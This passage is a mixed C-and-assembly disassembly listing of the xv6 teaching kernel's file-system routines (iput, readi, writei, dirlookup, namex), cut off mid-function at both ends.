if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018c0: 89 04 24 mov %eax,(%esp) 801018c3: e8 08 e8 ff ff call 801000d0 <bread> a = (uint*)bp->data; for(j = 0; j < NINDIRECT; j++){ 801018c8: 89 7d e0 mov %edi,-0x20(%ebp) } } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); a = (uint*)bp->data; 801018cb: 8d 48 5c lea 0x5c(%eax),%ecx ip->addrs[i] = 0; } } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018ce: 89 45 e4 mov %eax,-0x1c(%ebp) a = (uint*)bp->data; for(j = 0; j < NINDIRECT; j++){ 801018d1: 89 cf mov %ecx,%edi 801018d3: 31 c0 xor %eax,%eax 801018d5: eb 0e jmp 801018e5 <iput+0x105> 801018d7: 90 nop 801018d8: 83 c3 01 add $0x1,%ebx 801018db: 81 fb 80 00 00 00 cmp $0x80,%ebx 801018e1: 89 d8 mov %ebx,%eax 801018e3: 74 10 je 801018f5 <iput+0x115> if(a[j]) 801018e5: 8b 14 87 mov (%edi,%eax,4),%edx 801018e8: 85 d2 test %edx,%edx 801018ea: 74 ec je 801018d8 <iput+0xf8> bfree(ip->dev, a[j]); 801018ec: 8b 06 mov (%esi),%eax 801018ee: e8 fd fa ff ff call 801013f0 <bfree> 801018f3: eb e3 jmp 801018d8 <iput+0xf8> } brelse(bp); 801018f5: 8b 45 e4 mov -0x1c(%ebp),%eax 801018f8: 8b 7d e0 mov -0x20(%ebp),%edi 801018fb: 89 04 24 mov %eax,(%esp) 801018fe: e8 dd e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 80101903: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 80101909: 8b 06 mov (%esi),%eax 8010190b: e8 e0 fa ff ff call 801013f0 <bfree> ip->addrs[NDIRECT] = 0; 80101910: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 80101917: 00 00 00 8010191a: e9 6e ff ff ff jmp 8010188d <iput+0xad> 8010191f: 90 nop 80101920 <iunlockput>: } // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { 80101920: 55 push %ebp 80101921: 89 e5 mov %esp,%ebp 80101923: 53 push %ebx 80101924: 83 ec 14 sub $0x14,%esp 80101927: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010192a: 89 1c 24 mov %ebx,(%esp) 8010192d: e8 6e fe ff ff call 801017a0 <iunlock> iput(ip); 80101932: 89 5d 08 mov %ebx,0x8(%ebp) } 80101935: 83 c4 14 add $0x14,%esp 80101938: 5b pop %ebx 80101939: 5d pop %ebp // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); iput(ip); 8010193a: e9 a1 fe ff ff jmp 801017e0 <iput> 8010193f: 90 nop 80101940 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101940: 55 push %ebp 80101941: 89 e5 mov %esp,%ebp 80101943: 8b 55 08 mov 0x8(%ebp),%edx 80101946: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101949: 8b 0a mov (%edx),%ecx 8010194b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010194e: 8b 4a 04 mov 0x4(%edx),%ecx 80101951: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101954: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101958: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010195b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010195f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101963: 8b 52 58 mov 0x58(%edx),%edx 80101966: 89 50 10 mov %edx,0x10(%eax) } 80101969: 5d pop %ebp 8010196a: c3 ret 8010196b: 90 nop 8010196c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101970 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101970: 55 push %ebp 80101971: 89 e5 mov %esp,%ebp 80101973: 57 push %edi 80101974: 56 push %esi 80101975: 53 push %ebx 80101976: 83 ec 2c sub $0x2c,%esp 80101979: 8b 45 0c mov 0xc(%ebp),%eax 8010197c: 8b 7d 08 mov 0x8(%ebp),%edi 8010197f: 8b 75 10 mov 0x10(%ebp),%esi 80101982: 89 45 e0 mov %eax,-0x20(%ebp) 80101985: 8b 45 14 mov 0x14(%ebp),%eax uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101988: 66 83 7f 50 03 cmpw $0x3,0x50(%edi) //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 8010198d: 89 45 e4 mov %eax,-0x1c(%ebp) uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101990: 0f 84 aa 00 00 00 je 80101a40 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101996: 8b 47 58 mov 0x58(%edi),%eax 80101999: 39 f0 cmp %esi,%eax 8010199b: 0f 82 c7 00 00 00 jb 80101a68 <readi+0xf8> 801019a1: 8b 5d e4 mov -0x1c(%ebp),%ebx 801019a4: 89 da mov %ebx,%edx 801019a6: 01 f2 add %esi,%edx 801019a8: 0f 82 ba 00 00 00 jb 80101a68 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 801019ae: 89 c1 mov %eax,%ecx 801019b0: 29 f1 sub %esi,%ecx 801019b2: 39 d0 cmp %edx,%eax 801019b4: 0f 43 cb cmovae %ebx,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019b7: 31 c0 xor %eax,%eax 801019b9: 85 c9 test %ecx,%ecx } if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; 801019bb: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019be: 74 70 je 80101a30 <readi+0xc0> 801019c0: 89 7d d8 mov %edi,-0x28(%ebp) 801019c3: 89 c7 mov %eax,%edi 801019c5: 8d 76 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019c8: 8b 5d d8 mov -0x28(%ebp),%ebx 801019cb: 89 f2 mov %esi,%edx 801019cd: c1 ea 09 shr $0x9,%edx 801019d0: 89 d8 mov %ebx,%eax 801019d2: e8 09 f9 ff ff call 801012e0 <bmap> 801019d7: 89 44 24 04 mov %eax,0x4(%esp) 801019db: 8b 03 mov (%ebx),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019dd: bb 00 02 00 00 mov $0x200,%ebx return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019e2: 89 04 24 mov %eax,(%esp) 801019e5: e8 e6 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019ea: 8b 4d e4 mov -0x1c(%ebp),%ecx 801019ed: 29 f9 sub %edi,%ecx return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019ef: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019f1: 89 f0 mov %esi,%eax 801019f3: 25 ff 01 00 00 and $0x1ff,%eax 801019f8: 29 c3 sub %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019fa: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 801019fe: 39 cb cmp %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 80101a00: 89 44 24 04 mov %eax,0x4(%esp) 80101a04: 8b 45 e0 mov -0x20(%ebp),%eax if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 80101a07: 0f 47 d9 cmova %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 80101a0a: 89 5c 24 08 mov %ebx,0x8(%esp) if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a0e: 01 df add %ebx,%edi 80101a10: 01 de add %ebx,%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); 80101a12: 89 55 dc mov %edx,-0x24(%ebp) 80101a15: 89 04 24 mov %eax,(%esp) 80101a18: e8 73 29 00 00 call 80104390 <memmove> brelse(bp); 80101a1d: 8b 55 dc mov -0x24(%ebp),%edx 80101a20: 89 14 24 mov %edx,(%esp) 80101a23: e8 b8 e7 ff ff call 801001e0 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a28: 01 5d e0 add %ebx,-0x20(%ebp) 80101a2b: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a2e: 77 98 ja 801019c8 <readi+0x58> bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; 80101a30: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a33: 83 c4 2c add $0x2c,%esp 80101a36: 5b pop %ebx 80101a37: 5e pop %esi 80101a38: 5f pop %edi 80101a39: 5d pop %ebp 80101a3a: c3 ret 80101a3b: 90 nop 80101a3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a40: 0f bf 47 52 movswl 0x52(%edi),%eax 80101a44: 66 83 f8 09 cmp $0x9,%ax 80101a48: 77 1e ja 80101a68 <readi+0xf8> 80101a4a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a51: 85 c0 test %eax,%eax 80101a53: 74 13 je 80101a68 <readi+0xf8> return -1; return devsw[ip->major].read(ip, dst, n); 80101a55: 8b 75 e4 mov -0x1c(%ebp),%esi 80101a58: 89 75 10 mov %esi,0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; } 80101a5b: 83 c4 2c add $0x2c,%esp 80101a5e: 5b pop %ebx 80101a5f: 5e pop %esi 80101a60: 5f pop %edi 80101a61: 5d pop %ebp struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); 80101a62: ff e0 jmp *%eax 80101a64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; 80101a68: b8 ff ff ff ff mov $0xffffffff,%eax 80101a6d: eb c4 jmp 80101a33 <readi+0xc3> 80101a6f: 90 nop 80101a70 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a70: 55 push %ebp 80101a71: 89 e5 mov %esp,%ebp 80101a73: 57 push %edi 80101a74: 56 push %esi 80101a75: 53 push %ebx 80101a76: 83 ec 2c sub $0x2c,%esp 80101a79: 8b 45 08 mov 0x8(%ebp),%eax 80101a7c: 8b 75 0c mov 0xc(%ebp),%esi 80101a7f: 8b 4d 14 mov 0x14(%ebp),%ecx uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a82: 66 83 78 50 03 cmpw $0x3,0x50(%eax) // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a87: 89 75 dc mov %esi,-0x24(%ebp) 80101a8a: 8b 75 10 mov 0x10(%ebp),%esi 80101a8d: 89 45 d8 mov %eax,-0x28(%ebp) 80101a90: 89 4d e0 mov %ecx,-0x20(%ebp) uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a93: 0f 84 b7 00 00 00 je 80101b50 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a99: 8b 45 d8 mov -0x28(%ebp),%eax 80101a9c: 39 70 58 cmp %esi,0x58(%eax) 80101a9f: 0f 82 e3 00 00 00 jb 80101b88 <writei+0x118> 80101aa5: 8b 4d e0 mov -0x20(%ebp),%ecx 80101aa8: 89 c8 mov %ecx,%eax 80101aaa: 01 f0 add %esi,%eax 80101aac: 0f 82 d6 00 00 00 jb 80101b88 <writei+0x118> return -1; if(off + n > MAXFILE*BSIZE) 80101ab2: 3d 00 18 01 00 cmp $0x11800,%eax 80101ab7: 0f 87 cb 00 00 00 ja 80101b88 <writei+0x118> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101abd: 85 c9 test %ecx,%ecx 80101abf: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101ac6: 74 77 je 80101b3f <writei+0xcf> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac8: 8b 7d d8 mov -0x28(%ebp),%edi 80101acb: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101acd: bb 00 02 00 00 mov $0x200,%ebx return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ad2: c1 ea 09 shr $0x9,%edx 80101ad5: 89 f8 mov %edi,%eax 80101ad7: e8 04 f8 ff ff call 801012e0 <bmap> 80101adc: 89 44 24 04 mov %eax,0x4(%esp) 80101ae0: 8b 07 mov (%edi),%eax 80101ae2: 89 04 24 mov %eax,(%esp) 80101ae5: e8 e6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101aea: 8b 4d e0 mov -0x20(%ebp),%ecx 80101aed: 2b 4d e4 sub -0x1c(%ebp),%ecx memmove(bp->data + off%BSIZE, src, m); 80101af0: 8b 55 dc mov -0x24(%ebp),%edx return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101af3: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101af5: 89 f0 mov %esi,%eax 80101af7: 25 ff 01 00 00 and $0x1ff,%eax 80101afc: 29 c3 sub %eax,%ebx 80101afe: 39 cb cmp %ecx,%ebx 80101b00: 0f 47 d9 cmova %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101b03: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b07: 01 de add %ebx,%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(bp->data + off%BSIZE, src, m); 80101b09: 89 54 24 04 mov %edx,0x4(%esp) 80101b0d: 89 5c 24 08 mov %ebx,0x8(%esp) 80101b11: 89 04 24 mov %eax,(%esp) 80101b14: e8 77 28 00 00 call 80104390 <memmove> log_write(bp); 80101b19: 89 3c 24 mov %edi,(%esp) 80101b1c: e8 9f 11 00 00 call 80102cc0 <log_write> brelse(bp); 80101b21: 89 3c 24 mov %edi,(%esp) 80101b24: e8 b7 e6 ff ff call 801001e0 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b29: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b2c: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b2f: 01 5d dc add %ebx,-0x24(%ebp) 80101b32: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b35: 77 91 ja 80101ac8 <writei+0x58> memmove(bp->data + off%BSIZE, src, m); log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ 80101b37: 8b 45 d8 mov -0x28(%ebp),%eax 80101b3a: 39 70 58 cmp %esi,0x58(%eax) 80101b3d: 72 39 jb 80101b78 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b3f: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b42: 83 c4 2c add $0x2c,%esp 80101b45: 5b pop %ebx 80101b46: 5e pop %esi 80101b47: 5f pop %edi 80101b48: 5d pop %ebp 80101b49: c3 ret 80101b4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi { uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b50: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b54: 66 83 f8 09 cmp $0x9,%ax 80101b58: 77 2e ja 80101b88 <writei+0x118> 80101b5a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b61: 85 c0 test %eax,%eax 80101b63: 74 23 je 80101b88 <writei+0x118> return -1; return devsw[ip->major].write(ip, src, n); 80101b65: 89 4d 10 mov %ecx,0x10(%ebp) if(n > 0 && off > ip->size){ ip->size = off; iupdate(ip); } return n; } 80101b68: 83 c4 2c add $0x2c,%esp 80101b6b: 5b pop %ebx 80101b6c: 5e pop %esi 80101b6d: 5f pop %edi 80101b6e: 5d pop %ebp struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); 80101b6f: ff e0 jmp *%eax 80101b71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ ip->size = off; 80101b78: 8b 45 d8 mov -0x28(%ebp),%eax 80101b7b: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b7e: 89 04 24 mov %eax,(%esp) 80101b81: e8 7a fa ff ff call 80101600 <iupdate> 80101b86: eb b7 jmp 80101b3f <writei+0xcf> } return n; } 80101b88: 83 c4 2c add $0x2c,%esp uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; 80101b8b: b8 ff ff ff ff mov $0xffffffff,%eax if(n > 0 && off > ip->size){ ip->size = off; iupdate(ip); } return n; } 80101b90: 5b pop %ebx 80101b91: 5e pop %esi 80101b92: 5f pop %edi 80101b93: 5d pop %ebp 80101b94: c3 ret 80101b95: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ba0 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101ba0: 55 push %ebp 80101ba1: 89 e5 mov %esp,%ebp 80101ba3: 83 ec 18 sub $0x18,%esp return strncmp(s, t, DIRSIZ); 80101ba6: 8b 45 0c mov 0xc(%ebp),%eax 80101ba9: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101bb0: 00 80101bb1: 89 44 24 04 mov %eax,0x4(%esp) 80101bb5: 8b 45 08 mov 0x8(%ebp),%eax 80101bb8: 89 04 24 mov %eax,(%esp) 80101bbb: e8 50 28 00 00 call 80104410 <strncmp> } 80101bc0: c9 leave 80101bc1: c3 ret 80101bc2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bd0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bd0: 55 push %ebp 80101bd1: 89 e5 mov %esp,%ebp 80101bd3: 57 push %edi 80101bd4: 56 push %esi 80101bd5: 53 push %ebx 80101bd6: 83 ec 2c sub $0x2c,%esp 80101bd9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bdc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101be1: 0f 85 97 00 00 00 jne 80101c7e <dirlookup+0xae> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101be7: 8b 53 58 mov 0x58(%ebx),%edx 80101bea: 31 ff xor %edi,%edi 80101bec: 8d 75 d8 lea -0x28(%ebp),%esi 80101bef: 85 d2 test %edx,%edx 80101bf1: 75 0d jne 80101c00 <dirlookup+0x30> 80101bf3: eb 73 jmp 80101c68 <dirlookup+0x98> 80101bf5: 8d 76 00 lea 0x0(%esi),%esi 80101bf8: 83 c7 10 add $0x10,%edi 80101bfb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bfe: 76 68 jbe 80101c68 <dirlookup+0x98> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101c00: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101c07: 00 80101c08: 89 7c 24 08 mov %edi,0x8(%esp) 80101c0c: 89 74 24 04 mov %esi,0x4(%esp) 80101c10: 89 1c 24 mov %ebx,(%esp) 80101c13: e8 58 fd ff ff call 80101970 <readi> 80101c18: 83 f8 10 cmp $0x10,%eax 80101c1b: 75 55 jne 80101c72 <dirlookup+0xa2> panic("dirlookup read"); if(de.inum == 0) 80101c1d: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101c22: 74 d4 je 80101bf8 <dirlookup+0x28> // Directories int namecmp(const char *s, const char *t) { return strncmp(s, t, DIRSIZ); 80101c24: 8d 45 da lea -0x26(%ebp),%eax 80101c27: 89 44 24 04 mov %eax,0x4(%esp) 80101c2b: 8b 45 0c mov 0xc(%ebp),%eax 80101c2e: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101c35: 00 80101c36: 89 04 24 mov %eax,(%esp) 80101c39: e8 d2 27 00 00 call 80104410 <strncmp> for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlookup read"); if(de.inum == 0) continue; if(namecmp(name, de.name) == 0){ 80101c3e: 85 c0 test %eax,%eax 80101c40: 75 b6 jne 80101bf8 <dirlookup+0x28> // entry matches path element if(poff) 80101c42: 8b 45 10 mov 0x10(%ebp),%eax 80101c45: 85 c0 test %eax,%eax 80101c47: 74 05 je 80101c4e <dirlookup+0x7e> *poff = off; 80101c49: 8b 45 10 mov 0x10(%ebp),%eax 80101c4c: 89 38 mov %edi,(%eax) inum = de.inum; 80101c4e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c52: 8b 03 mov (%ebx),%eax 80101c54: e8 c7 f5 ff ff call 80101220 <iget> } } return 0; } 80101c59: 83 c4 2c add $0x2c,%esp 80101c5c: 5b pop %ebx 80101c5d: 5e pop %esi 80101c5e: 5f pop %edi 80101c5f: 5d pop %ebp 80101c60: c3 ret 80101c61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c68: 83 c4 2c add $0x2c,%esp inum = de.inum; return iget(dp->dev, inum); } } return 0; 80101c6b: 31 c0 xor %eax,%eax } 80101c6d: 5b pop %ebx 80101c6e: 5e pop %esi 80101c6f: 5f pop %edi 80101c70: 5d pop %ebp 80101c71: c3 ret if(dp->type != T_DIR) panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlookup read"); 80101c72: c7 04 24 b9 71 10 80 movl $0x801071b9,(%esp) 80101c79: e8 e2 e6 ff ff call 80100360 <panic> { uint off, inum; struct dirent de; if(dp->type != T_DIR) panic("dirlookup not DIR"); 80101c7e: c7 04 24 a7 71 10 80 movl $0x801071a7,(%esp) 80101c85: e8 d6 e6 ff ff call 80100360 <panic> 80101c8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c90 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c90: 55 push %ebp 80101c91: 89 e5 mov %esp,%ebp 80101c93: 57 push %edi 80101c94: 89 cf mov %ecx,%edi 80101c96: 56 push %esi 80101c97: 53 push %ebx 80101c98: 89 c3 mov %eax,%ebx 80101c9a: 83 ec 2c sub $0x2c,%esp struct inode *ip, *next; if(*path == '/') 80101c9d: 80 38 2f cmpb $0x2f,(%eax) // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101ca0: 89 55 e0 mov %edx,-0x20(%ebp) struct inode *ip, *next; if(*path == '/') 80101ca3: 0f 84 51 01 00 00 je 80101dfa <namex+0x16a> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101ca9: e8 02 1a 00 00 call 801036b0 <myproc> 80101cae: 8b 70 68 mov 0x68(%eax),%esi // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { acquire(&icache.lock); 80101cb1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101cb8: e8 73 25 00 00 call 80104230 <acquire> ip->ref++; 80101cbd: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101cc1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101cc8: e8 d3 25 00 00 call 801042a0 <release> 80101ccd: eb 04 jmp 80101cd3 <namex+0x43> 80101ccf: 90 nop { char *s; int len; while(*path == '/') path++; 80101cd0: 83 c3 01 add $0x1,%ebx skipelem(char *path, char *name) { char *s; int len; while(*path == '/') 80101cd3: 0f b6 03 movzbl (%ebx),%eax 80101cd6: 3c 2f cmp $0x2f,%al 80101cd8: 74 f6 je 80101cd0 <namex+0x40> path++; if(*path == 0) 80101cda: 84 c0 test %al,%al 80101cdc: 0f 84 ed 00 00 00 je 80101dcf <namex+0x13f> return 0; s = path; while(*path != '/' && *path != 0) 80101ce2: 0f b6 03 movzbl (%ebx),%eax 80101ce5: 89 da mov %ebx,%edx 80101ce7: 84 c0 test %al,%al 80101ce9: 0f 84 b1 00 00 00 je 80101da0 <namex+0x110> 80101cef: 3c 2f cmp $0x2f,%al 80101cf1: 75 0f jne 80101d02 <namex+0x72> 80101cf3: e9 a8 00 00 00 jmp 80101da0 <namex+0x110> 80101cf8: 3c 2f cmp $0x2f,%al 80101cfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101d00: 74 0a je 80101d0c <namex+0x7c> path++; 80101d02: 83 c2 01 add $0x1,%edx while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80101d05: 0f b6 02 movzbl (%edx),%eax 80101d08: 84 c0 test %al,%al 80101d0a: 75 ec jne 80101cf8 <namex+0x68> 80101d0c: 89 d1 mov %edx,%ecx 80101d0e: 29 d9 sub %ebx,%ecx path++; len = path - s; if(len >= DIRSIZ) 80101d10: 83 f9 0d cmp $0xd,%ecx 80101d13: 0f 8e 8f 00 00 00 jle 80101da8 <namex+0x118> memmove(name, s, DIRSIZ); 80101d19: 89 5c 24 04 mov %ebx,0x4(%esp) 80101d1d: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101d24: 00 80101d25: 89 3c 24 mov %edi,(%esp) 80101d28: 89 55 e4 mov %edx,-0x1c(%ebp) 80101d2b: e8 60 26 00 00 call 80104390 <memmove> path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) path++; 80101d30: 8b 55 e4 mov -0x1c(%ebp),%edx 80101d33: 89 d3 mov %edx,%ebx memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80101d35: 80 3a 2f cmpb $0x2f,(%edx) 80101d38: 75 0e jne 80101d48 <namex+0xb8> 80101d3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi path++; 80101d40: 83 c3 01 add $0x1,%ebx memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80101d43: 80 3b 2f cmpb $0x2f,(%ebx) 80101d46: 74 f8 je 80101d40 <namex+0xb0> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d48: 89 34 24 mov %esi,(%esp) 80101d4b: e8 70 f9 ff ff call 801016c0 <ilock> if(ip->type != T_DIR){ 80101d50: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d55: 0f 85 85 00 00 00 jne 80101de0 <namex+0x150> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d5b: 8b 55 e0 mov -0x20(%ebp),%edx 80101d5e: 85 d2 test %edx,%edx 80101d60: 74 09 je 80101d6b <namex+0xdb> 80101d62: 80 3b 00 cmpb $0x0,(%ebx) 80101d65: 0f 84 a5 00 00 00 je 80101e10 <namex+0x180> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d6b: c7 44 24 08 00 00 